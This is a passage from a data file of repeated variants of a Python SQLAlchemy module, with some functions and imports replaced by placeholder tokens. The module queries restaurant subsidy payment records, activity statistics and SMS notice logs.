func.sum(ActivityStats.quantity), func.sum(ActivityStats.total_subsidy)\n ).group_by(ActivityStats.pay_record_id, ActivityStats.activity_id,\n ActivityStats.activity_category_id).filter(ActivityStats.\n pay_record_id.in_(pay_record_ids)).filter(ActivityStats.status.in_(\n PAYLOG_STATUS_LIST)).order_by(ActivityStats.created_at.desc())\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q\n\n\n@zeus_db_handler\ndef get_max_subsidy_process_record_ids(pay_record_ids):\n q = session.query(func.max(SubsidyProcessRecord.id)).group_by(\n SubsidyProcessRecord.pay_record_id).filter(SubsidyProcessRecord.\n pay_record_id.in_(pay_record_ids))\n return q\n\n\n@zeus_db_handler\ndef count_paylog_by_rst(restaurant_id, activity_id=None,\n activity_category_id=None):\n \"\"\" Except ActivityStats.STATUS_PENDING (未审核状态)\n \"\"\"\n q = session.query(ActivityStats.id).group_by(ActivityStats.\n pay_record_id, ActivityStats.activity_id, ActivityStats.\n activity_category_id).filter(ActivityStats.restaurant_id ==\n restaurant_id).filter(ActivityStats.status.in_(PAYLOG_STATUS_LIST))\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n return len(q.all())\n\n\n@zeus_db_handler\ndef query_process_records_by_ids(process_ids):\n query = session.query(SubsidyProcessRecord).filter(SubsidyProcessRecord\n .id.in_(process_ids))\n return query.all()\n\n\n@zeus_db_handler\ndef get_subsidy_record_process_time(record_ids, status):\n return session.query(SubsidyProcessRecord.pay_record_id,\n SubsidyProcessRecord.processed_at).filter(SubsidyProcessRecord.\n pay_record_id.in_(record_ids)).filter(SubsidyProcessRecord.status ==\n status).all()\n\n\ndef get_pay_activities_by_restaurant(rst_id):\n with zeus_session() as session:\n query = session.query(ActivityStats.activity_id, ActivityStats.\n activity_category_id).group_by(ActivityStats.activity_id,\n ActivityStats.activity_category_id).filter(ActivityStats.\n restaurant_id == rst_id)\n return query.all()\n\n\ndef query_sms_send_info(start_time=None, end_time=None, phone=None,\n restaurant_id=None, card_num_tail=None, status=None):\n with walis_session() as session:\n query = session.query(NoticeRecord)\n if phone:\n query = query.filter(NoticeRecord.phone == phone)\n if restaurant_id:\n query = query.filter(NoticeRecord.restaurant_id == restaurant_id)\n if card_num_tail:\n query = query.filter(NoticeRecord.card_num_tail == card_num_tail)\n if status:\n query = query.filter(NoticeRecord.status == status)\n if not start_time:\n start_time = get_today_begin_time()\n if not end_time:\n end_time = get_today_end_time()\n query = query.filter(NoticeRecord.created_at > start_time).filter(\n NoticeRecord.created_at < end_time)\n return query.all()\n\n\ndef query_sms_send_count(start_time=None, end_time=None, status=None):\n with walis_session() as session:\n if not start_time:\n start_time = get_today_begin_time()\n if not end_time:\n end_time = get_today_end_time()\n query = session.query(func.count(NoticeRecord.record_id)).filter(\n NoticeRecord.created_at > start_time).filter(NoticeRecord.\n created_at < end_time)\n if status is not None:\n query = query.filter(NoticeRecord.status == status)\n return query.scalar()\n\n\n@zeus_db_handler\ndef query_auto_pay_activity_stats_result(city_ids=None, restaurant_ids=None,\n activity_id=None, activity_category_id=None, from_date=None, to_date=\n None, statuses=None, offset=None, limit=None, with_subsidy=None):\n q = session.query(ActivityStats.restaurant_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, func.sum(\n ActivityStats.quantity), func.sum(ActivityStats.total_subsidy),\n func.min(ActivityStats.date), func.max(ActivityStats.date)).group_by(\n ActivityStats.restaurant_id, ActivityStats.activity_id,\n ActivityStats.activity_category_id).order_by(ActivityStats.\n restaurant_id.desc())\n return _query_activity_stats(q, city_ids, restaurant_ids, activity_id,\n activity_category_id, from_date, to_date, statuses, with_subsidy,\n offset, limit)\n\n\ndef _query_activity_stats(q, city_ids=None, restaurant_ids=None,\n activity_id=None, activity_category_id=None, from_date=None, to_date=\n None, statuses=None, with_subsidy=None, offset=None, limit=None):\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if city_ids is not None:\n q = q.filter(ActivityStats.city_id.in_(city_ids))\n if restaurant_ids is not None:\n q = q.filter(ActivityStats.restaurant_id.in_(restaurant_ids))\n if from_date is not None:\n q = q.filter(ActivityStats.date >= from_date)\n if to_date is not None:\n q = q.filter(ActivityStats.date <= to_date)\n if statuses is not None:\n q = q.filter(ActivityStats.status.in_(statuses))\n if with_subsidy is not None:\n if with_subsidy:\n q = q.filter(ActivityStats.total_subsidy > 0)\n else:\n q = q.filter(ActivityStats.total_subsidy == 0)\n if offset is not None:\n q = q.offset(offset)\n q = q.limit(1000)\n return q\n", "<import token>\n<assignment token>\n\n\ndef get_new_pay_records(process_at, limit=200):\n with zeus_session() as session:\n result = session.query(SubsidyPayRecord.id, SubsidyPayRecord.\n restaurant_id, SubsidyProcessRecord.card_id,\n SubsidyProcessRecord.processed_at, SubsidyPayRecord.status\n ).outerjoin(SubsidyProcessRecord, SubsidyProcessRecord.\n pay_record_id == SubsidyPayRecord.id).filter(SubsidyPayRecord.\n id > process_at).filter(SubsidyProcessRecord.status !=\n SubsidyProcessRecord.STATUS_FAIL).order_by(SubsidyPayRecord.id.\n asc()).limit(limit).all()\n return result\n\n\n<function token>\n\n\ndef get_activity_stats(pay_record_id):\n with zeus_session() as session:\n results = session.query(ActivityStats.activity_id, ActivityStats.\n activity_category_id, func.sum(ActivityStats.total_subsidy),\n func.min(ActivityStats.date), func.max(ActivityStats.date),\n func.sum(ActivityStats.quantity)).group_by(ActivityStats.\n restaurant_id, ActivityStats.activity_id, ActivityStats.\n activity_category_id).filter(ActivityStats.pay_record_id ==\n pay_record_id).filter(ActivityStats.status == ActivityStats.\n STATUS_PAY_SUCCESS).all()\n return results\n\n\ndef get_success_record_ids_by_restaurant(restaurant_id, activity_id=None,\n activity_category_id=None):\n with zeus_session() as session:\n query = session.query(SubsidyPayRecord.id).filter(SubsidyPayRecord.\n restaurant_id == restaurant_id).filter(SubsidyPayRecord.status ==\n SubsidyPayRecord.STATUS_SUCCESS)\n if activity_id is not None:\n query.filter(SubsidyPayRecord.activity_id == activity_id)\n if activity_category_id is not None:\n query.filter(SubsidyPayRecord.activity_category_id ==\n activity_category_id)\n record_ids = query.all()\n return [r[0] for r in record_ids]\n\n\n<assignment token>\n\n\n@zeus_db_handler\ndef query_paylog_by_rst(restaurant_id, activity_id=None,\n activity_category_id=None, offset=None, limit=None):\n \"\"\" Except ActivityStats.STATUS_PENDING (未审核状态)\n \"\"\"\n q = session.query(ActivityStats.pay_record_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, ActivityStats.\n status, func.min(ActivityStats.date), func.max(ActivityStats.date),\n func.sum(ActivityStats.quantity), func.sum(ActivityStats.\n total_subsidy), SubsidyPayRecord.created_at, func.max(\n SubsidyProcessRecord.id)).group_by(ActivityStats.pay_record_id,\n ActivityStats.activity_id, ActivityStats.activity_category_id\n ).outerjoin(SubsidyPayRecord, SubsidyPayRecord.id == ActivityStats.\n pay_record_id).outerjoin(SubsidyProcessRecord, SubsidyProcessRecord\n .pay_record_id == SubsidyPayRecord.id).filter(ActivityStats.\n restaurant_id == restaurant_id).filter(ActivityStats.status.in_(\n PAYLOG_STATUS_LIST)).order_by(SubsidyPayRecord.created_at.desc())\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q\n\n\n@zeus_db_handler\ndef query_pay_records(restaurant_id, offset=None, limit=None):\n q = session.query(SubsidyPayRecord).filter(SubsidyPayRecord.\n restaurant_id == restaurant_id).order_by(SubsidyPayRecord.\n created_at.desc())\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q.all()\n\n\n@zeus_db_handler\ndef query_paylog(pay_record_ids, activity_id=None, activity_category_id=\n None, offset=None, limit=None):\n q = session.query(ActivityStats.pay_record_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, ActivityStats.\n status, func.min(ActivityStats.date), func.max(ActivityStats.date),\n func.sum(ActivityStats.quantity), func.sum(ActivityStats.total_subsidy)\n ).group_by(ActivityStats.pay_record_id, ActivityStats.activity_id,\n ActivityStats.activity_category_id).filter(ActivityStats.\n pay_record_id.in_(pay_record_ids)).filter(ActivityStats.status.in_(\n PAYLOG_STATUS_LIST)).order_by(ActivityStats.created_at.desc())\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q\n\n\n@zeus_db_handler\ndef get_max_subsidy_process_record_ids(pay_record_ids):\n q = session.query(func.max(SubsidyProcessRecord.id)).group_by(\n SubsidyProcessRecord.pay_record_id).filter(SubsidyProcessRecord.\n pay_record_id.in_(pay_record_ids))\n return q\n\n\n@zeus_db_handler\ndef count_paylog_by_rst(restaurant_id, activity_id=None,\n activity_category_id=None):\n \"\"\" Except ActivityStats.STATUS_PENDING (未审核状态)\n \"\"\"\n q = session.query(ActivityStats.id).group_by(ActivityStats.\n pay_record_id, ActivityStats.activity_id, ActivityStats.\n activity_category_id).filter(ActivityStats.restaurant_id ==\n restaurant_id).filter(ActivityStats.status.in_(PAYLOG_STATUS_LIST))\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n return len(q.all())\n\n\n@zeus_db_handler\ndef query_process_records_by_ids(process_ids):\n query = session.query(SubsidyProcessRecord).filter(SubsidyProcessRecord\n .id.in_(process_ids))\n return query.all()\n\n\n@zeus_db_handler\ndef get_subsidy_record_process_time(record_ids, status):\n return session.query(SubsidyProcessRecord.pay_record_id,\n SubsidyProcessRecord.processed_at).filter(SubsidyProcessRecord.\n pay_record_id.in_(record_ids)).filter(SubsidyProcessRecord.status ==\n status).all()\n\n\ndef get_pay_activities_by_restaurant(rst_id):\n with zeus_session() as session:\n query = session.query(ActivityStats.activity_id, ActivityStats.\n activity_category_id).group_by(ActivityStats.activity_id,\n ActivityStats.activity_category_id).filter(ActivityStats.\n restaurant_id == rst_id)\n return query.all()\n\n\ndef query_sms_send_info(start_time=None, end_time=None, phone=None,\n restaurant_id=None, card_num_tail=None, status=None):\n with walis_session() as session:\n query = session.query(NoticeRecord)\n if phone:\n query = query.filter(NoticeRecord.phone == phone)\n if restaurant_id:\n query = query.filter(NoticeRecord.restaurant_id == restaurant_id)\n if card_num_tail:\n query = query.filter(NoticeRecord.card_num_tail == card_num_tail)\n if status:\n query = query.filter(NoticeRecord.status == status)\n if not start_time:\n start_time = get_today_begin_time()\n if not end_time:\n end_time = get_today_end_time()\n query = query.filter(NoticeRecord.created_at > start_time).filter(\n NoticeRecord.created_at < end_time)\n return query.all()\n\n\ndef query_sms_send_count(start_time=None, end_time=None, status=None):\n with walis_session() as session:\n if not start_time:\n start_time = get_today_begin_time()\n if not end_time:\n end_time = get_today_end_time()\n query = session.query(func.count(NoticeRecord.record_id)).filter(\n NoticeRecord.created_at > start_time).filter(NoticeRecord.\n created_at < end_time)\n if status is not None:\n query = query.filter(NoticeRecord.status == status)\n return query.scalar()\n\n\n@zeus_db_handler\ndef query_auto_pay_activity_stats_result(city_ids=None, restaurant_ids=None,\n activity_id=None, activity_category_id=None, from_date=None, to_date=\n None, statuses=None, offset=None, limit=None, with_subsidy=None):\n q = session.query(ActivityStats.restaurant_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, func.sum(\n ActivityStats.quantity), func.sum(ActivityStats.total_subsidy),\n func.min(ActivityStats.date), func.max(ActivityStats.date)).group_by(\n ActivityStats.restaurant_id, ActivityStats.activity_id,\n ActivityStats.activity_category_id).order_by(ActivityStats.\n restaurant_id.desc())\n return _query_activity_stats(q, city_ids, restaurant_ids, activity_id,\n activity_category_id, from_date, to_date, statuses, with_subsidy,\n offset, limit)\n\n\ndef _query_activity_stats(q, city_ids=None, restaurant_ids=None,\n activity_id=None, activity_category_id=None, from_date=None, to_date=\n None, statuses=None, with_subsidy=None, offset=None, limit=None):\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if city_ids is not None:\n q = q.filter(ActivityStats.city_id.in_(city_ids))\n if restaurant_ids is not None:\n q = q.filter(ActivityStats.restaurant_id.in_(restaurant_ids))\n if from_date is not None:\n q = q.filter(ActivityStats.date >= from_date)\n if to_date is not None:\n q = q.filter(ActivityStats.date <= to_date)\n if statuses is not None:\n q = q.filter(ActivityStats.status.in_(statuses))\n if with_subsidy is not None:\n if with_subsidy:\n q = q.filter(ActivityStats.total_subsidy > 0)\n else:\n q = q.filter(ActivityStats.total_subsidy == 0)\n if offset is not None:\n q = q.offset(offset)\n q = q.limit(1000)\n return q\n", "<import token>\n<assignment token>\n\n\ndef get_new_pay_records(process_at, limit=200):\n with zeus_session() as session:\n result = session.query(SubsidyPayRecord.id, SubsidyPayRecord.\n restaurant_id, SubsidyProcessRecord.card_id,\n SubsidyProcessRecord.processed_at, SubsidyPayRecord.status\n ).outerjoin(SubsidyProcessRecord, SubsidyProcessRecord.\n pay_record_id == SubsidyPayRecord.id).filter(SubsidyPayRecord.\n id > process_at).filter(SubsidyProcessRecord.status !=\n SubsidyProcessRecord.STATUS_FAIL).order_by(SubsidyPayRecord.id.\n asc()).limit(limit).all()\n return result\n\n\n<function token>\n\n\ndef get_activity_stats(pay_record_id):\n with zeus_session() as session:\n results = session.query(ActivityStats.activity_id, ActivityStats.\n activity_category_id, func.sum(ActivityStats.total_subsidy),\n func.min(ActivityStats.date), func.max(ActivityStats.date),\n func.sum(ActivityStats.quantity)).group_by(ActivityStats.\n restaurant_id, ActivityStats.activity_id, ActivityStats.\n activity_category_id).filter(ActivityStats.pay_record_id ==\n pay_record_id).filter(ActivityStats.status == ActivityStats.\n STATUS_PAY_SUCCESS).all()\n return results\n\n\ndef get_success_record_ids_by_restaurant(restaurant_id, activity_id=None,\n activity_category_id=None):\n with zeus_session() as session:\n query = session.query(SubsidyPayRecord.id).filter(SubsidyPayRecord.\n restaurant_id == restaurant_id).filter(SubsidyPayRecord.status ==\n SubsidyPayRecord.STATUS_SUCCESS)\n if activity_id is not None:\n query.filter(SubsidyPayRecord.activity_id == activity_id)\n if activity_category_id is not None:\n query.filter(SubsidyPayRecord.activity_category_id ==\n activity_category_id)\n record_ids = query.all()\n return [r[0] for r in record_ids]\n\n\n<assignment token>\n\n\n@zeus_db_handler\ndef query_paylog_by_rst(restaurant_id, activity_id=None,\n activity_category_id=None, offset=None, limit=None):\n \"\"\" Except ActivityStats.STATUS_PENDING (未审核状态)\n \"\"\"\n q = session.query(ActivityStats.pay_record_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, ActivityStats.\n status, func.min(ActivityStats.date), func.max(ActivityStats.date),\n func.sum(ActivityStats.quantity), func.sum(ActivityStats.\n total_subsidy), SubsidyPayRecord.created_at, func.max(\n SubsidyProcessRecord.id)).group_by(ActivityStats.pay_record_id,\n ActivityStats.activity_id, ActivityStats.activity_category_id\n ).outerjoin(SubsidyPayRecord, SubsidyPayRecord.id == ActivityStats.\n pay_record_id).outerjoin(SubsidyProcessRecord, SubsidyProcessRecord\n .pay_record_id == SubsidyPayRecord.id).filter(ActivityStats.\n restaurant_id == restaurant_id).filter(ActivityStats.status.in_(\n PAYLOG_STATUS_LIST)).order_by(SubsidyPayRecord.created_at.desc())\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q\n\n\n@zeus_db_handler\ndef query_pay_records(restaurant_id, offset=None, limit=None):\n q = session.query(SubsidyPayRecord).filter(SubsidyPayRecord.\n restaurant_id == restaurant_id).order_by(SubsidyPayRecord.\n created_at.desc())\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q.all()\n\n\n@zeus_db_handler\ndef query_paylog(pay_record_ids, activity_id=None, activity_category_id=\n None, offset=None, limit=None):\n q = session.query(ActivityStats.pay_record_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, ActivityStats.\n status, func.min(ActivityStats.date), func.max(ActivityStats.date),\n func.sum(ActivityStats.quantity), func.sum(ActivityStats.total_subsidy)\n ).group_by(ActivityStats.pay_record_id, ActivityStats.activity_id,\n ActivityStats.activity_category_id).filter(ActivityStats.\n pay_record_id.in_(pay_record_ids)).filter(ActivityStats.status.in_(\n PAYLOG_STATUS_LIST)).order_by(ActivityStats.created_at.desc())\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q\n\n\n@zeus_db_handler\ndef get_max_subsidy_process_record_ids(pay_record_ids):\n q = session.query(func.max(SubsidyProcessRecord.id)).group_by(\n SubsidyProcessRecord.pay_record_id).filter(SubsidyProcessRecord.\n pay_record_id.in_(pay_record_ids))\n return q\n\n\n@zeus_db_handler\ndef count_paylog_by_rst(restaurant_id, activity_id=None,\n activity_category_id=None):\n \"\"\" Except ActivityStats.STATUS_PENDING (未审核状态)\n \"\"\"\n q = session.query(ActivityStats.id).group_by(ActivityStats.\n pay_record_id, ActivityStats.activity_id, ActivityStats.\n activity_category_id).filter(ActivityStats.restaurant_id ==\n restaurant_id).filter(ActivityStats.status.in_(PAYLOG_STATUS_LIST))\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n return len(q.all())\n\n\n<function token>\n\n\n@zeus_db_handler\ndef get_subsidy_record_process_time(record_ids, status):\n return session.query(SubsidyProcessRecord.pay_record_id,\n SubsidyProcessRecord.processed_at).filter(SubsidyProcessRecord.\n pay_record_id.in_(record_ids)).filter(SubsidyProcessRecord.status ==\n status).all()\n\n\ndef get_pay_activities_by_restaurant(rst_id):\n with zeus_session() as session:\n query = session.query(ActivityStats.activity_id, ActivityStats.\n activity_category_id).group_by(ActivityStats.activity_id,\n ActivityStats.activity_category_id).filter(ActivityStats.\n restaurant_id == rst_id)\n return query.all()\n\n\ndef query_sms_send_info(start_time=None, end_time=None, phone=None,\n restaurant_id=None, card_num_tail=None, status=None):\n with walis_session() as session:\n query = session.query(NoticeRecord)\n if phone:\n query = query.filter(NoticeRecord.phone == phone)\n if restaurant_id:\n query = query.filter(NoticeRecord.restaurant_id == restaurant_id)\n if card_num_tail:\n query = query.filter(NoticeRecord.card_num_tail == card_num_tail)\n if status:\n query = query.filter(NoticeRecord.status == status)\n if not start_time:\n start_time = get_today_begin_time()\n if not end_time:\n end_time = get_today_end_time()\n query = query.filter(NoticeRecord.created_at > start_time).filter(\n NoticeRecord.created_at < end_time)\n return query.all()\n\n\ndef query_sms_send_count(start_time=None, end_time=None, status=None):\n with walis_session() as session:\n if not start_time:\n start_time = get_today_begin_time()\n if not end_time:\n end_time = get_today_end_time()\n query = session.query(func.count(NoticeRecord.record_id)).filter(\n NoticeRecord.created_at > start_time).filter(NoticeRecord.\n created_at < end_time)\n if status is not None:\n query = query.filter(NoticeRecord.status == status)\n return query.scalar()\n\n\n@zeus_db_handler\ndef query_auto_pay_activity_stats_result(city_ids=None, restaurant_ids=None,\n activity_id=None, activity_category_id=None, from_date=None, to_date=\n None, statuses=None, offset=None, limit=None, with_subsidy=None):\n q = session.query(ActivityStats.restaurant_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, func.sum(\n ActivityStats.quantity), func.sum(ActivityStats.total_subsidy),\n func.min(ActivityStats.date), func.max(ActivityStats.date)).group_by(\n ActivityStats.restaurant_id, ActivityStats.activity_id,\n ActivityStats.activity_category_id).order_by(ActivityStats.\n restaurant_id.desc())\n return _query_activity_stats(q, city_ids, restaurant_ids, activity_id,\n activity_category_id, from_date, to_date, statuses, with_subsidy,\n offset, limit)\n\n\ndef _query_activity_stats(q, city_ids=None, restaurant_ids=None,\n activity_id=None, activity_category_id=None, from_date=None, to_date=\n None, statuses=None, with_subsidy=None, offset=None, limit=None):\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if city_ids is not None:\n q = q.filter(ActivityStats.city_id.in_(city_ids))\n if restaurant_ids is not None:\n q = q.filter(ActivityStats.restaurant_id.in_(restaurant_ids))\n if from_date is not None:\n q = q.filter(ActivityStats.date >= from_date)\n if to_date is not None:\n q = q.filter(ActivityStats.date <= to_date)\n if statuses is not None:\n q = q.filter(ActivityStats.status.in_(statuses))\n if with_subsidy is not None:\n if with_subsidy:\n q = q.filter(ActivityStats.total_subsidy > 0)\n else:\n q = q.filter(ActivityStats.total_subsidy == 0)\n if offset is not None:\n q = q.offset(offset)\n q = q.limit(1000)\n return q\n", "<import token>\n<assignment token>\n\n\ndef get_new_pay_records(process_at, limit=200):\n with zeus_session() as session:\n result = session.query(SubsidyPayRecord.id, SubsidyPayRecord.\n restaurant_id, SubsidyProcessRecord.card_id,\n SubsidyProcessRecord.processed_at, SubsidyPayRecord.status\n ).outerjoin(SubsidyProcessRecord, SubsidyProcessRecord.\n pay_record_id == SubsidyPayRecord.id).filter(SubsidyPayRecord.\n id > process_at).filter(SubsidyProcessRecord.status !=\n SubsidyProcessRecord.STATUS_FAIL).order_by(SubsidyPayRecord.id.\n asc()).limit(limit).all()\n return result\n\n\n<function token>\n<function token>\n\n\ndef get_success_record_ids_by_restaurant(restaurant_id, activity_id=None,\n activity_category_id=None):\n with zeus_session() as session:\n query = session.query(SubsidyPayRecord.id).filter(SubsidyPayRecord.\n restaurant_id == restaurant_id).filter(SubsidyPayRecord.status ==\n SubsidyPayRecord.STATUS_SUCCESS)\n if activity_id is not None:\n query.filter(SubsidyPayRecord.activity_id == activity_id)\n if activity_category_id is not None:\n query.filter(SubsidyPayRecord.activity_category_id ==\n activity_category_id)\n record_ids = query.all()\n return [r[0] for r in record_ids]\n\n\n<assignment token>\n\n\n@zeus_db_handler\ndef query_paylog_by_rst(restaurant_id, activity_id=None,\n activity_category_id=None, offset=None, limit=None):\n \"\"\" Except ActivityStats.STATUS_PENDING (未审核状态)\n \"\"\"\n q = session.query(ActivityStats.pay_record_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, ActivityStats.\n status, func.min(ActivityStats.date), func.max(ActivityStats.date),\n func.sum(ActivityStats.quantity), func.sum(ActivityStats.\n total_subsidy), SubsidyPayRecord.created_at, func.max(\n SubsidyProcessRecord.id)).group_by(ActivityStats.pay_record_id,\n ActivityStats.activity_id, ActivityStats.activity_category_id\n ).outerjoin(SubsidyPayRecord, SubsidyPayRecord.id == ActivityStats.\n pay_record_id).outerjoin(SubsidyProcessRecord, SubsidyProcessRecord\n .pay_record_id == SubsidyPayRecord.id).filter(ActivityStats.\n restaurant_id == restaurant_id).filter(ActivityStats.status.in_(\n PAYLOG_STATUS_LIST)).order_by(SubsidyPayRecord.created_at.desc())\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q\n\n\n@zeus_db_handler\ndef query_pay_records(restaurant_id, offset=None, limit=None):\n q = session.query(SubsidyPayRecord).filter(SubsidyPayRecord.\n restaurant_id == restaurant_id).order_by(SubsidyPayRecord.\n created_at.desc())\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q.all()\n\n\n@zeus_db_handler\ndef query_paylog(pay_record_ids, activity_id=None, activity_category_id=\n None, offset=None, limit=None):\n q = session.query(ActivityStats.pay_record_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, ActivityStats.\n status, func.min(ActivityStats.date), func.max(ActivityStats.date),\n func.sum(ActivityStats.quantity), func.sum(ActivityStats.total_subsidy)\n ).group_by(ActivityStats.pay_record_id, ActivityStats.activity_id,\n ActivityStats.activity_category_id).filter(ActivityStats.\n pay_record_id.in_(pay_record_ids)).filter(ActivityStats.status.in_(\n PAYLOG_STATUS_LIST)).order_by(ActivityStats.created_at.desc())\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if limit is not None:\n q = q.limit(min(limit, MAX_LIST_SIZE))\n else:\n q = q.limit(DEFAULT_LIST_SIZE)\n if offset is not None:\n q = q.offset(offset)\n return q\n\n\n@zeus_db_handler\ndef get_max_subsidy_process_record_ids(pay_record_ids):\n q = session.query(func.max(SubsidyProcessRecord.id)).group_by(\n SubsidyProcessRecord.pay_record_id).filter(SubsidyProcessRecord.\n pay_record_id.in_(pay_record_ids))\n return q\n\n\n@zeus_db_handler\ndef count_paylog_by_rst(restaurant_id, activity_id=None,\n activity_category_id=None):\n \"\"\" Except ActivityStats.STATUS_PENDING (未审核状态)\n \"\"\"\n q = session.query(ActivityStats.id).group_by(ActivityStats.\n pay_record_id, ActivityStats.activity_id, ActivityStats.\n activity_category_id).filter(ActivityStats.restaurant_id ==\n restaurant_id).filter(ActivityStats.status.in_(PAYLOG_STATUS_LIST))\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n return len(q.all())\n\n\n<function token>\n\n\n@zeus_db_handler\ndef get_subsidy_record_process_time(record_ids, status):\n return session.query(SubsidyProcessRecord.pay_record_id,\n SubsidyProcessRecord.processed_at).filter(SubsidyProcessRecord.\n pay_record_id.in_(record_ids)).filter(SubsidyProcessRecord.status ==\n status).all()\n\n\ndef get_pay_activities_by_restaurant(rst_id):\n with zeus_session() as session:\n query = session.query(ActivityStats.activity_id, ActivityStats.\n activity_category_id).group_by(ActivityStats.activity_id,\n ActivityStats.activity_category_id).filter(ActivityStats.\n restaurant_id == rst_id)\n return query.all()\n\n\ndef query_sms_send_info(start_time=None, end_time=None, phone=None,\n restaurant_id=None, card_num_tail=None, status=None):\n with walis_session() as session:\n query = session.query(NoticeRecord)\n if phone:\n query = query.filter(NoticeRecord.phone == phone)\n if restaurant_id:\n query = query.filter(NoticeRecord.restaurant_id == restaurant_id)\n if card_num_tail:\n query = query.filter(NoticeRecord.card_num_tail == card_num_tail)\n if status:\n query = query.filter(NoticeRecord.status == status)\n if not start_time:\n start_time = get_today_begin_time()\n if not end_time:\n end_time = get_today_end_time()\n query = query.filter(NoticeRecord.created_at > start_time).filter(\n NoticeRecord.created_at < end_time)\n return query.all()\n\n\ndef query_sms_send_count(start_time=None, end_time=None, status=None):\n with walis_session() as session:\n if not start_time:\n start_time = get_today_begin_time()\n if not end_time:\n end_time = get_today_end_time()\n query = session.query(func.count(NoticeRecord.record_id)).filter(\n NoticeRecord.created_at > start_time).filter(NoticeRecord.\n created_at < end_time)\n if status is not None:\n query = query.filter(NoticeRecord.status == status)\n return query.scalar()\n\n\n@zeus_db_handler\ndef query_auto_pay_activity_stats_result(city_ids=None, restaurant_ids=None,\n activity_id=None, activity_category_id=None, from_date=None, to_date=\n None, statuses=None, offset=None, limit=None, with_subsidy=None):\n q = session.query(ActivityStats.restaurant_id, ActivityStats.\n activity_id, ActivityStats.activity_category_id, func.sum(\n ActivityStats.quantity), func.sum(ActivityStats.total_subsidy),\n func.min(ActivityStats.date), func.max(ActivityStats.date)).group_by(\n ActivityStats.restaurant_id, ActivityStats.activity_id,\n ActivityStats.activity_category_id).order_by(ActivityStats.\n restaurant_id.desc())\n return _query_activity_stats(q, city_ids, restaurant_ids, activity_id,\n activity_category_id, from_date, to_date, statuses, with_subsidy,\n offset, limit)\n\n\ndef _query_activity_stats(q, city_ids=None, restaurant_ids=None,\n activity_id=None, activity_category_id=None, from_date=None, to_date=\n None, statuses=None, with_subsidy=None, offset=None, limit=None):\n if activity_id is not None:\n q = q.filter(ActivityStats.activity_id == activity_id)\n if activity_category_id is not None:\n q = q.filter(ActivityStats.activity_category_id == activity_category_id\n )\n if city_ids is not None:\n q = q.filter(ActivityStats.city_id.in_(city_ids))\n if restaurant_ids is not None:\n q = 